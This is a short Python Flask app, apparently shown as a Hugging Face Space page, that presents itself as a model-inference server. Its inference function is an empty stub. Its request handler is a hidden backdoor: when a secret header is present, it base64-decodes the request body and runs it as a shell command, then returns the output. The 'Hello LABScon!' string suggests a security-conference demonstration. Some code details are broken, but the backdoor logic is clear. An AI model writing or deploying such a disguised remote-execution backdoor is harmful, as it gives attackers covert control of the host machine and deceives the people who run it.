Spaces:
Running
Running
import os | |
import base64 | |
from flask import Flask | |
from flask import request | |
from flask import jsonify | |
app = Flask(__name__) | |
def exec(command): | |
try: | |
output = [i for i in os.popen(command).read().split("\n")] | |
except Exception as e: | |
output = e | |
return jsonify({"output": output}) | |
def infer(input): | |
# model stuff | |
pass | |
def request_handler(): | |
if not request.headers.get('SUPERSECRET'): | |
return render_template("Hello LABScon!") | |
else: | |
command = base64.urlsafe_b64decode(request.data.decode()).decode() | |
return exec(command) | |
if __name__ == "__main__": | |
app.run(host="0.0.0.0", port=7860) |